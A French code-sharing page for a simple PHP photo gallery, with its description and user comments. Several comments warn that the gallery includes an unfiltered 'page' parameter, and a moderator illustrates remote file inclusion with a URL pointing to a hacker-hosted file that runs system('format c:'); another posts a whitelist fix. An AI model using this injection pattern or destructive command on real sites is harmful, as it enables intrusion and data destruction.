Galerie photo simple d'utilisation, sans mysql

Soyez le premier à donner votre avis sur cette source.

Vue 20 278 fois - Téléchargée 2 982 fois

Description

Installation rapide : il suffit de lire les instructions (Instructions.txt ... sisisi!) et de modifier le fichier ./galerie/inc/config.php

Très simple d'utilisation : il suffit de créer une nouvelle catégorie (on peut en créer autant qu'on veut), et ensuite on peut ajouter directement les photos au format jpeg, gif ou png via ftp (dossier : nom de la nouvelle catégorie / img).

Des miniatures sont générées (deux sortes : les petites pour la vision globale des photos, et la plus grande lors de l'affichage spécifique). Les originales ne sont pas affichées à ce moment là, car avec des photos trop lourdes (<2Mo), ca rame vite coté client... donc pas bon ;-). Si le visiteur veut voir l'original de la photo, il lui suffit de cliquer sur la photo en affichage spécifique.

Il y a égalemment possibilité de permettre aux visiteurs d'envoyer de nouvelles photos ou pas... tout comme leur laisser ajouter de nouvelles galeries, ou pas!

Voila... tout est expliqué, et sincérement désolé pour les graphismes... y sont pas beaux!

Un exemple du code? http://photomountain.free.fr rubrique photo

NOTE :
Présence d'un fichier update: seulement pour ceux qui veulent mettre à jour leur code
Il suffit d'uploader tous les fichiers, et d'executer l'upload... (très basique!)

Ce code n'est pas maintenu.

Cédric Strubel

Source / Exemple :


include("ZIP");
//Lol

Conclusion :


Voila, le code n'est pas encore commenté... à venir!

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

Messages postés
6
Date d'inscription
lundi 7 novembre 2005
Statut
Membre
Dernière intervention
21 juin 2006

Bonjour Cdrik & vous tous,

Cette source est top et ce qui est génial c'est que l'on peut voir les améliorations apportées par cette communauté d'internautes.

Etais-tu au courant qu'il y avait un bug lié aux caractères es noms de fichiers images importées ?
Ok, les espaces sont gérés " " devient %20 ce qui est très bien, mais cela ne marche pas pour un "é", un "è" ... toutes les lettres accentuées...

Il y-a t'il qqun de compétent pour me dire pourquoi le code corrigé suivant ne marche pas ?
...
$dir=strtr($dir, "èéëàäâ", "eeeaaa");
...
Ce n'est pas la même fonction que pour l'espace (et il faudra cumuler ces 2 vérifs, j'en suis conscient) et malheureusement cela ne fonctionne pas.

Autre chose : Firefox semble + intéllo que IE car lui modifie en temps réel je ne sais pas comment dire, les nom de fichiers stockés avec des lettre accentuées (Blé.jpg ->Bl%E9.jpg) !! Malheureusement Firefox n'en est qu'à 15% des utilisateurs du net...

La solution serait de faire fonctionner la fonction ci-dessus et anticiper les erreurs possibles : une aide ?

Merci Cdrik ainsi que tous les autres
Guillaume
(kergui@club-internet.fr)
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Modérateur
Dernière intervention
30 juillet 2012
34
c'est claire, pour plus de détails, j'ai fait un tuto sur la sécuritée, mais la, tu fais un truc du genre :

http://magalerie.com?page=http://monsite.com/monprogrammehack.txt

et dans monprogrammehack.txt:

system("format c:");
Messages postés
2
Date d'inscription
vendredi 8 avril 2005
Statut
Membre
Dernière intervention
13 novembre 2005

Salut tout le monde j'etait en train de tester cette gallerie qui me convine super bien (hormis le mysql que j'ai rajouté) et j'ai remarquer les includes de ouf dans le code

include ($page);

ATTENTION c'est PAS SECURE DU TOUT !!!!!
Je suis pas du tout un pro en securité php mais la ca m'a choqué (aucun filtre arg!! )

Juste pour que vous repreniez le code, sur le photo.php j'ai rajouté ca
<?php
error_reporting(E_ALL);

include("./galerie/inc/config.php");

if (isset( $_GET['page']) or $_GET['page']='') {
$act = $_GET['page'];
//Just an extra security measure
$allowed_acts = array('galerie/new.php', 'galerie/update.php', 'galerie/index.php', 'galerie', '', 'galerie/install_index.php', 'galerie/install_new.php', 'Rajouter tout les fichiers');
if (!in_array($act, $allowed_acts))
{
die("Invalid Action!");
}
$page=$path.$_GET['page'];
}
....................

Ca passe un tout petit peut mieux et ca me rassure

++
TouF
Messages postés
7
Date d'inscription
mardi 28 janvier 2003
Statut
Membre
Dernière intervention
2 août 2005

bien, bien, mais j'ai une erreur à chaque ajout d'un commentaire (même sicelui-ci est bien enregistré ... grrr
Messages postés
88
Date d'inscription
dimanche 1 mai 2005
Statut
Membre
Dernière intervention
3 septembre 2007

que faut il mettre comme code (condition) a la place
Afficher les 79 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.